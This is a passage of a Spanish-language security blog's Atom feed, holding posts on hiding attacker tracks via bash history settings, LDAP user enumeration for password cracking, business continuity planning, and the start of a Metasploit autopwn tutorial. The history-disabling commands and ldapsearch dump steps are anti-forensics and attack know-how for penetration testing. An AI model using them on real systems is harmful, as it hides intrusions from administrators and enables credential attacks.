type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/6153554639128906835'/><link rel='alternate' type='text/html' href='http://ehopen-sec.blogspot.com/2010/02/metagoofil-enhanced.html' title='Metagoofil enhanced'/><author><name>Open-Sec</name><uri>http://www.blogger.com/profile/12321871096900747631</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://3.bp.blogspot.com/_IhM_rPvn0ac/S3lr4XtO6HI/AAAAAAAAAFI/ga7qLaDmumY/S220/Imagen2009.jpeg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1142420473059173802.post-3573577662496779340</id><published>2010-02-16T19:27:00.007-05:00</published><updated>2010-02-16T21:38:33.507-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='evidencias'/><category scheme='http://www.blogger.com/atom/ns#' term='.bash_profile'/><title type='text'>Hiding Tracks with .bash_profile</title><content type='html'>&amp;nbsp;Buscando maneras en las que un atacante puede minimizar sus huellas en un sistema *nix comprometido, encuentro, gracias a MUrizar, con una simple y eficaz forma de hacerlo.&lt;br /&gt;&lt;br /&gt;Al añadir una línea al fichero .bash_profile (tambien funciona en .bashrc), podemos lograr que todo comando precedido de un espacio en blanco, no sea guardado en el historial de comandos del usuario (.bash_history).&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;export HISTCONTROL=ignorespace &lt;/blockquote&gt;&lt;br /&gt;Esto puede funcionar en un escenario donde se quiera evitar el uso de rootkits o zappers para borrar evidencias. Hay otras formas de hacerlo pero me gustó esta por su simplicidad. Lo importante es no olvidarse de añadir el espacio en blanco !&lt;br /&gt;&lt;br /&gt;Desde luego, esto no servirá de nada para ocultar la presencia del atacante si el admin utiliza comandos como &lt;b&gt;w&lt;/b&gt;, &lt;b&gt;who&lt;/b&gt;, &lt;b&gt;users&lt;/b&gt;, &lt;b&gt;last&lt;/b&gt; y &lt;b&gt;lastlog&lt;/b&gt; que mostrarán información sobre usuarios y sus logins. Una manera de evitar esto sería modificando los ficheros parseados por estos comandos para mostrar su output:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;/var/run/utmp&lt;br /&gt;/var/log/wtmp&lt;/blockquote&gt;&lt;br /&gt;Tal ves eso para otra ocasión,&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;MVelazco&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Update 1 &lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Conversando con WCuestas y buscando evitar añadir un espacio en blanco antes de &lt;b&gt;todo&lt;/b&gt; comando ingresado, me sugiere una forma mucho más práctica de realizar la misma tarea sin tener que hacer cambios en ningún archivo.&lt;br /&gt;&lt;br /&gt;Nos enfocamos en 2 variables de entorno de bash, &lt;b&gt;$HISTSIZE&lt;/b&gt; y  &lt;b&gt;$HISTFILE&lt;/b&gt;. Cada una guarda el valor del número de líneas guardados en el historial y el fichero donde se guardará el historial, respectivamente.&lt;br /&gt;Una imagen vale más:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_IhM_rPvn0ac/S3tRwy1MLeI/AAAAAAAAAF4/YnGINcgLuzA/s1600-h/vEntorno.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_IhM_rPvn0ac/S3tRwy1MLeI/AAAAAAAAAF4/YnGINcgLuzA/s320/vEntorno.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Bien, entonces jugando con esas variables podemos conseguir que en una nueva sesión, no se guarde historial de comandos ejecutando lo siguiente:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;HISTSIZE=0; export HISTSIZE&lt;br /&gt;HISTFILE=/dev/null; export HISTFILE&lt;/span&gt; &lt;/blockquote&gt;&lt;br /&gt;Lo interesante es que en la próxima sesión, las variables serán cargadas según lo dictado en .bashrc, así que para el admin todo esto es transparente, aqui no paso nada!.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1142420473059173802-3573577662496779340?l=ehopen-sec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ehopen-sec.blogspot.com/feeds/3573577662496779340/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ehopen-sec.blogspot.com/2010/02/hiding-tracks-with-bashprofile.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/3573577662496779340'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/3573577662496779340'/><link rel='alternate' type='text/html' href='http://ehopen-sec.blogspot.com/2010/02/hiding-tracks-with-bashprofile.html' title='Hiding Tracks with .bash_profile'/><author><name>Open-Sec</name><uri>http://www.blogger.com/profile/12321871096900747631</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://3.bp.blogspot.com/_IhM_rPvn0ac/S3lr4XtO6HI/AAAAAAAAAFI/ga7qLaDmumY/S220/Imagen2009.jpeg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_IhM_rPvn0ac/S3tRwy1MLeI/AAAAAAAAAF4/YnGINcgLuzA/s72-c/vEntorno.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1142420473059173802.post-8929024802040542455</id><published>2009-12-07T15:15:00.001-05:00</published><updated>2010-02-15T11:15:30.419-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='LDAP'/><category scheme='http://www.blogger.com/atom/ns#' term='Enumeracion'/><category scheme='http://www.blogger.com/atom/ns#' term='Password Cracking'/><title type='text'>Enumeracion LDAP</title><content type='html'>Hola a todos. Lamentablemente el trabajo hace algo difícil el postear nuevo contenido en este blog, sin embargo, y después de un buen tiempo, me siento a escribir un nuevo post para las personas que de cuando en vez sintonizan este canal.&lt;br /&gt;&lt;br /&gt;En esta oportunidad quiero enfocarme en un tema que no siempre aparece en un proyecto de Ethical Hacking, tal es el caso del password cracking. Voy a tocar algo de teoría (bibliografía: www.google.com), definir un probable escenario y dar algunos tips para obtener usuarios válidos dentro de un dominio o un servidor LDAP.&lt;br /&gt;&lt;br /&gt;Primero vamos a definir el término "password cracking", según wikipedia:&lt;br /&gt;&lt;br /&gt;&lt;div style="margin-left: 40px;"&gt;&lt;i&gt;&lt;/i&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;El password cracking es un proceso informático que consiste en descifrar la contraseña de determinadas aplicaciones elegidas por el usuario. Se trata del rompimiento o desciframiento de claves (passwords).&lt;/i&gt;&lt;/blockquote&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;Un concepto bastante conocido, sin embargo, muchos se preguntarán para qué sirve en un proyecto de Ethical Hacking. Pues para auditar la robustez (o la falta) de políticas de passwords utilizadas en una organización. Como toda etapa del EH,  busca tomar evidencias para emitir una recomendación de mejora. En este caso, por ejemplo,  si nos encontramos con el password "123456" en un servicio importante la recomendación es implementar una política de passwords que tenga en cuenta entre otras cosas la longitud, el tiempo de expiración, no utilizar palabras de diccionario, no usar cumpleaños, etc. Un buen recurso aquí: &lt;b&gt;www.sans.org/security-resources/policies/Password_Policy.pdf&lt;/b&gt;&lt;br /&gt;También pueden realizar una búsqueda con los términos: "password policy", "password policy standard" en nuestro amigo google, seguro dará buenos resultados.&lt;br /&gt;&lt;br /&gt;Ahora el escenario. Estamos realizando un EH interno y llegamos a la etapa de password cracking. El cliente ya eligió a qué servicios se hará el test, tenemos un servidor de correos y un servicio de intranet. Tenemos a nuestra disposición varios diccionarios de passwords de varios temas y en distintos idiomas. El problema surge: Si queremos que el test tenga los resultados esperados,  ¿qué diccionario de usuarios utilizar?.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Es aqui donde nos aprovechamos de un recurso muy utilizado en redes basadas en Windows, el Active Directory. El directorio activo es la implementación de Windows de LDAP (Lightweight Directory Access Protocol) que contiene un árbol jerarquizado de objetos categorizados. Permite a los administradores de red realizar tareas como establecer políticas , desplegar programas en muchos ordenadores y aplicar actualizaciones críticas a toda la organización. Para nuestros fines, nos centraremos en sólo un tipo de objeto contenido en el árbol: los usuarios.&lt;br /&gt;&lt;br /&gt;En resumen, para crear el diccionario vamos a enumerar los usuarios del directorio activo o del servidor LDAP haciendo consultas al árbol y de esta forma armar una base de datos con los nombres de usuario registrados para lanzar el test de password cracking. Tenemos diferentes estrategias para lograr el objetivo de acuerdo al tipo de evaluación:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Black Box.&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;En este caso intentamos una conexión anónima al servidor LDAP, para el caso de controladores de dominio en Microsoft Windows 2000 lo más probable es que podamos realizar esta enumeración anónima sin problemas.&lt;/li&gt;&lt;li&gt;Otra estrategia es escuchar el tráfico en la red para poder obtener un usuario y contraseña válidos y con estas credenciales realizar la enumeración LDAP.&lt;/li&gt;&lt;li&gt;Además es posible extraer credenciales válidas de diversas formas, como por ejemplo mediante las credenciales de un sistema transaccional a la base de datos, y otras más.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;b&gt;Gray Box y White Box.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Podemos utilizar las credenciales de un usuario del dominio, o de una cuenta de correo.&lt;/li&gt;&lt;li&gt;En el 90% de organizaciones en las que he participado en un EH interno la salida a internet es filtrada por medio de un proxy a manera de aumentar la velocidad (a traves de la cache) y restringir a los usuarios según sus privilegios (utilizando el directorio activo). Así que también se puede utilizar estas credenciales.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;b&gt;Pasos a Seguir.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Primero es necesario identificar al DA:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;blockquote&gt;nmap -p389 --open 10.0.0.0/24&lt;/blockquote&gt;&lt;/div&gt;&lt;br /&gt;En el caso del controlador de dominio el servidor LDAP suele estar en el servidor que utilizamos como DNS.&lt;br /&gt;&lt;br /&gt;Una vez identificado el servicio necesitamos hacerle las consultas, pero cómo?? En este caso utilizaremos la herramienta ldapsearch que viene con el paquete ldap-utils. Ok, aprendamos a usar ldapsearch:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;blockquote&gt;man ldapsearch &lt;/blockquote&gt;&lt;/div&gt;&lt;a href="http://1.bp.blogspot.com/_IhM_rPvn0ac/S3jrTHsaOBI/AAAAAAAAAEs/H9GpACQ9Vf4/s1600-h/manldapsearch.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5438355263765231634" src="http://1.bp.blogspot.com/_IhM_rPvn0ac/S3jrTHsaOBI/AAAAAAAAAEs/H9GpACQ9Vf4/s320/manldapsearch.png" style="cursor: pointer; display: block; height: 223px; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;br /&gt;Luego de leer la pagina del man, buscar ejemplos en google y preguntarle al colega :P, obtenemos el comando.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div style="text-align: left;"&gt;ldapsearch "objectclass=user" -h 10.0.0.43 -b "dc=organizacion,dc=com,dc=pe" -D "usuario@organizacion.com.pe" -w "passw0rd" &amp;gt; ldapdump.txt&lt;br /&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;/blockquote&gt;"objectclass=user"  Para determinar que solo queremos consultar a objetos del tipo  "user"&lt;br /&gt;-h                          La ip del Directorio Activo&lt;br /&gt;-b                          La base del directorio LDAP&lt;br /&gt;-D                         El usuario con el que nos conectamos al servidor&lt;br /&gt;-w                         El password del usuario&lt;br /&gt;&amp;gt;                          Dumpeamos todo en un fichero de nombre ldapdump.txt&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_IhM_rPvn0ac/S3jr_yMnjdI/AAAAAAAAAE0/OB64nj4mW-0/s1600-h/moreUsers.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5438356031088856530" src="http://1.bp.blogspot.com/_IhM_rPvn0ac/S3jr_yMnjdI/AAAAAAAAAE0/OB64nj4mW-0/s320/moreUsers.png" style="cursor: pointer; display: block; height: 253px; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;br /&gt;Wow tenemos un archivo con 64903 lineas! Que buscamos??. En la imagen observamos la entrada de un usuario (alguna información fue cambiada y otra escondida por obvias razones). Ldapsearch nos retorna mucha información sobre el usuario como grupos a los cuales pertenece, la última vez que se logueó en el dominio, quota de la cuenta del correo, etc, etc. Pero a nosotros sólo nos interesa el nombre de usuario. Ese dato se encuentra en la variable "sAMAccountName". Ese es el usuario con el que se loguea a los servicios.&lt;br /&gt;&lt;br /&gt;Aprovechamos el poder de nuestra shell bash para cortar el archivo y sólo sacar los usuarios del archivo de texto utilizando los comandos grep, cut y sort.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;cat ldapdump.txt | grep 'sAMAccountName' | cut -d' ' -f2 | sort &amp;gt; usersDominio.txt&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;En la imagen se puede ver el resultado.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/_IhM_rPvn0ac/S3jsPkaRjJI/AAAAAAAAAE8/oskwri1KAUg/s1600-h/moreUsers2.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5438356302265945234" src="http://2.bp.blogspot.com/_IhM_rPvn0ac/S3jsPkaRjJI/AAAAAAAAAE8/oskwri1KAUg/s320/moreUsers2.png" style="cursor: pointer; display: block; height: 320px; margin: 0px auto 10px; text-align: center; width: 283px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;El resultado, un fichero de 888 lineas donde cada linea es un usuario.&lt;br /&gt;&lt;br /&gt;Done, contamos con una base de datos de todos los usuarios registrados en el dominio. Ahora es momento de utilizar la herramientas de password cracking con la que se sientan más cómodos. Recomiendo Hydra.&lt;br /&gt;&lt;br /&gt;Esto es todo, espero les haya gustado, y no duden en dar comentarios/dudas/críticas/quejas.&lt;br /&gt;&lt;br /&gt;Gracias a CCuadra por la revisión,&lt;br /&gt;&lt;br /&gt;saludos&lt;br /&gt;&lt;br /&gt;MVelazco.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1142420473059173802-8929024802040542455?l=ehopen-sec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ehopen-sec.blogspot.com/feeds/8929024802040542455/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ehopen-sec.blogspot.com/2009/12/enumeracion-ldap.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/8929024802040542455'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/8929024802040542455'/><link rel='alternate' type='text/html' href='http://ehopen-sec.blogspot.com/2009/12/enumeracion-ldap.html' title='Enumeracion LDAP'/><author><name>Open-Sec</name><uri>http://www.blogger.com/profile/12321871096900747631</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://3.bp.blogspot.com/_IhM_rPvn0ac/S3lr4XtO6HI/AAAAAAAAAFI/ga7qLaDmumY/S220/Imagen2009.jpeg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_IhM_rPvn0ac/S3jrTHsaOBI/AAAAAAAAAEs/H9GpACQ9Vf4/s72-c/manldapsearch.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1142420473059173802.post-3312160252556486592</id><published>2009-04-06T13:40:00.000-05:00</published><updated>2009-04-06T13:48:38.531-05:00</updated><title type='text'>Plan de Continuidad del Negocio</title><content type='html'>Un Plan de Continuidad del Negocio, garantiza la no interrupción de procesos críticos dentro de un negocio. En tecnologías de información, se maneja el mismo concepto y es hacia dónde vamos a orientar el desarrollo del presente tema.&lt;br /&gt;&lt;br /&gt;El desarrollo de un Plan de Continuidad del Negocio o BCP (por sus siglas en ingles, las cuales significan Business Continuity Plan), debería contemplar 5 aspectos básicos como parte de su ciclo de vida, estos son:&lt;br /&gt;&lt;br /&gt;&lt;ol style="text-align: left;"&gt;&lt;li&gt;Análisis.&lt;/li&gt;&lt;li&gt;Diseño de la solución. &lt;/li&gt;&lt;li&gt;Implementación.&lt;/li&gt;&lt;li&gt;Pruebas y aceptación del Plan.&lt;/li&gt;&lt;li&gt;Mantenimiento.&lt;/li&gt;&lt;/ol&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_IhM_rPvn0ac/SdpNZfdjp5I/AAAAAAAAAD8/ST4CLwvAdBM/s1600-h/cdg.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 240px; height: 240px;" src="http://1.bp.blogspot.com/_IhM_rPvn0ac/SdpNZfdjp5I/AAAAAAAAAD8/ST4CLwvAdBM/s320/cdg.png" alt="" id="BLOGGER_PHOTO_ID_5321651010029201298" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;         &lt;style type="text/css"&gt;  &lt;!--   @page { size: 8.5in 11in; margin: 0.79in }   P { margin-bottom: 0.08in }  --&gt;  &lt;/style&gt;  &lt;ul&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in;"&gt;El análisis consiste en  identificar los procesos críticos de TI que mantienen en correcto  funcionamiento el desarrollo de las actividades de la corporación  en general, entendiéndose que en la nueva teoría de administración  de empresas, el Área de TI que antes era un departamento de apoyo a  la toma de decisiones y soporte a las actividades empresariales, ha  pasado a ser una de las áreas funcionales en todo negocio, así  como lo es Recursos Humanos, Logística, Finanzas o Ventas.&lt;/p&gt; &lt;/li&gt;&lt;/ul&gt;           &lt;style type="text/css"&gt;  &lt;!--   @page { size: 8.5in 11in; margin: 0.79in }   P { margin-bottom: 0.08in }  --&gt;  &lt;/style&gt;  &lt;ul&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in;"&gt;En lo referente a Diseño de la  Solución vamos a detallar como proteger estos procesos que  identificamos en la fase anterior, en la medida de lo posible se  debe intentar mantener en un funcionamiento “aceptable” los  procesos críticos del negocio que son apoyados en la  infraestructura informática de la empresa. En esta etapa se  elaboran los Planes de Recuperación ante Desastres o DRP (Disaster  Recovery Plans) por sus siglas en ingles. Debe entenderse como  desastre toda situación que hace compromete la seguridad de la  infraestructura informática o incluso puede llegar a convertirla en  no disponible. Los desastres se pueden clasificar principalmente en:  Desastres naturales, que por su misma naturaleza, son casi  imposibles de predecir y a la vez de afrontar. Por otro lado tenemos  desastres a causa de un error humano, estos últimos en la mayoría  de los casos son más fáciles de reparar.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { size: 8.5in 11in; margin: 0.79in }   P { margin-bottom: 0.08in }  --&gt;  &lt;/style&gt;  &lt;ul&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in;"&gt;La Implementación es  probablemente lo más difícil ya que el impacto que puede tener el  implementar un BCMS (Business Continuity Management System) &lt;i&gt;–  Sistema de Administración de Continuidad del Negocio – &lt;/i&gt;es  complicado ya que además de involucrar personal para invertir  tiempo en el desarrollo del mismo, puede tener un impacto económico  considerable dependiendo del alcance y es aquí en donde debemos de  preguntarnos: &lt;b&gt;¿Cual es el impacto de la caída de algún  servicio informático critico para la organización y hasta donde  nos podría costar la no disponibilidad del mismo? &lt;/b&gt;Por ejemplo,  una empresa de seguros que no tiene la base de datos de contratos de  clientes y coberturas al momento que un cliente es víctima de algún  siniestro se puede convertir en un problema bastante grande que  incluso podría tener implicancias legales, mucho peor si se trata  de un siniestro que pone en riesgo la vida de una persona como lo  sería un seguro de salud. Si un cliente sufre una amenaza de  infarto y alguien solicita ayuda, puede resultar en el fallecimiento  del cliente. Probablemente sea un caso excesivo sin embargo no es  una situación imposible de presentarse para el tipo de negocio que  hemos puesto de ejemplo que es una empresa de seguros.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { size: 8.5in 11in; margin: 0.79in }   P { margin-bottom: 0.08in }  --&gt;  &lt;/style&gt;  &lt;ul&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in;"&gt;En cuanto a las pruebas, estas  deben ser rigurosas, asegurando que realmente la estrategia de BCP  es medible bajo dos puntos de vista: Retribución de la inversión y  Garantía de Continuidad. Es aquí en donde se muestra el valor real  que tienen los DRP creados en la segunda fase. Por último hay un  tema de aceptación que debe ser sostenido ante un directorio con  los &lt;i&gt;“Tomadores de Decisión” &lt;/i&gt;de la corporación.&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in;"&gt;Finalmente, como cualquier  sistema, este debe tener un proceso de mantenimiento continuo, que  garantice el correcto funcionamiento del mismo además de que la  estrategia inicial no haya cambiado y de ser este el caso, el  mantenimiento hará que la estrategia sea actualizada. Conforme el  Área de TI vaya cambiando, así mismo se deberá hacer ajustes en  la estrategia inicial de tal manera que esta siga teniendo un valor  real para la organización.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;         &lt;style type="text/css"&gt;  &lt;!--   @page { size: 8.5in 11in; margin: 0.79in }   P { margin-bottom: 0.08in }  --&gt;  &lt;/style&gt;  &lt;p style="margin-bottom: 0in;"&gt;El tema de BCP en cuanto a TI se refiere va mas allá de tan solo redundancia en servicios, replicas de bases de datos o ejecución de copias  de respaldo, ya que hablamos de copias de respaldo, es interesante ver como siempre nos estamos preocupando de hacer copias de respaldo de la información, sin embargo las guardamos en el mismo lugar en donde queda nuestra oficina. Si ocurriera un incendio en el edificio en donde se ubica esta oficina no nos serviría de nada, cierto? La información se quemaría así como los demás bienes de la empresa, dejándonos imposibilitados de poder restaurarla al adquirir nuevos equipos, es por esta razón que una de las buenas prácticas nos dice que las copias de respaldo no se deben almacenar en el mismo lugar físico en donde se encuentra la empresa ni cerca. En algunos países esta recomendación es llevada a cabo de una forma interesante y es que se hacen alianzas de protección de información, las cuales consisten por ejemplo en que la empresa A almacena las copias de respaldo de la empresa B, cabe resaltar que por mas relación de confianza que haya entre dichas empresas siempre hay consideraciones que se deben tener como por ejemplo intercambiar las medias encriptadas y en cajas que utilicen precintos de seguridad inclusive el uso de una caja fuerte no estaría de más.&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;Para terminar, enfoquemos el tema de un BCP no solo como una manera de mantenerse &lt;i&gt;a flote &lt;/i&gt;sino como una estrategia que mantiene la buena reputación de nuestra organización o acaso nos gustaría que nuestros clientes se quejen de la falta de disponibilidad de nuestros servicios porque algún sistema de información falla o no está disponible en el momento requerido?&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1142420473059173802-3312160252556486592?l=ehopen-sec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ehopen-sec.blogspot.com/feeds/3312160252556486592/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ehopen-sec.blogspot.com/2009/04/plan-de-continuidad-del-negocio.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/3312160252556486592'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/3312160252556486592'/><link rel='alternate' type='text/html' href='http://ehopen-sec.blogspot.com/2009/04/plan-de-continuidad-del-negocio.html' title='Plan de Continuidad del Negocio'/><author><name>Open-Sec</name><uri>http://www.blogger.com/profile/12321871096900747631</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://3.bp.blogspot.com/_IhM_rPvn0ac/S3lr4XtO6HI/AAAAAAAAAFI/ga7qLaDmumY/S220/Imagen2009.jpeg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_IhM_rPvn0ac/SdpNZfdjp5I/AAAAAAAAAD8/ST4CLwvAdBM/s72-c/cdg.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1142420473059173802.post-3305172715868097137</id><published>2009-03-31T16:57:00.001-05:00</published><updated>2009-03-31T20:11:59.476-05:00</updated><title type='text'>Autoexplotación con Metasploit</title><content type='html'>&lt;meta equiv="Content-Type" content="text/html; charset=utf-8"&gt; &lt;meta name="ProgId" content="Word.Document"&gt; &lt;meta name="Generator" content="Microsoft Word 11"&gt; &lt;meta name="Originator" content="Microsoft Word 11"&gt; &lt;link rel="File-List" href="file:///C:%5Cwindows%5Ctemp%5Cmsohtml1%5C05%5Cclip_filelist.xml"&gt; &lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:applybreakingrules/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;    &lt;w:usefelayout/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate="false" latentstylecount="156"&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt; &lt;style&gt; &lt;!--  /* Font Definitions */  @font-face 	{font-family:"MS Mincho"; 	panose-1:2 2 6 9 4 2 5 8 3 4; 	mso-font-alt:"ＭＳ 明朝"; 	mso-font-charset:128; 	mso-generic-font-family:roman; 	mso-font-format:other; 	mso-font-pitch:fixed; 	mso-font-signature:1 134676480 16 0 131072 0;} @font-face 	{font-family:"\@MS Mincho"; 	panose-1:0 0 0 0 0 0 0 0 0 0; 	mso-font-charset:128; 	mso-generic-font-family:roman; 	mso-font-format:other; 	mso-font-pitch:fixed; 	mso-font-signature:1 134676480 16 0 131072 0;}  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-parent:""; 	margin:0in; 	margin-bottom:.0001pt; 	mso-pagination:none; 	mso-hyphenate:none; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:Arial; 	mso-font-kerning:.5pt; 	mso-fareast-language:AR-SA; 	mso-bidi-language:AR-SA;} a:link, span.MsoHyperlink 	{mso-style-parent:""; 	color:navy; 	mso-ansi-language:#00FF; 	mso-fareast-language:#00FF; 	mso-bidi-language:#00FF; 	text-decoration:underline; 	text-underline:single;} a:visited, span.MsoHyperlinkFollowed 	{color:navy; 	text-decoration:underline; 	text-underline:single;} @page Section1 	{size:8.5in 11.0in; 	margin:1.0in 1.25in 1.0in 1.25in; 	mso-header-margin:.5in; 	mso-footer-margin:.5in; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --&gt; &lt;/style&gt; &lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:"Tabla normal"; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-parent:""; 	mso-padding-alt:0in 5.4pt 0in 5.4pt; 	mso-para-margin:0in; 	mso-para-margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:10.0pt; 	font-family:"Times New Roman"; 	mso-ansi-language:#0400; 	mso-fareast-language:#0400; 	mso-bidi-language:#0400;} &lt;/style&gt; &lt;![endif]--&gt;  &lt;!--StartFragment--&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;Bueno este es un tutorial que muestra el uso de metasploit con su modulo de autopwn, mediante un video que se encuentra mas adelante e imágenes; existen varios tutoriales en internet pero no he encontrado ninguno en español y que resuelva los problemas que me fui encontrando en el camino, es por eso que me he tomado la molestia de realizar este tutorial.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;&lt;o:p&gt;&lt;br 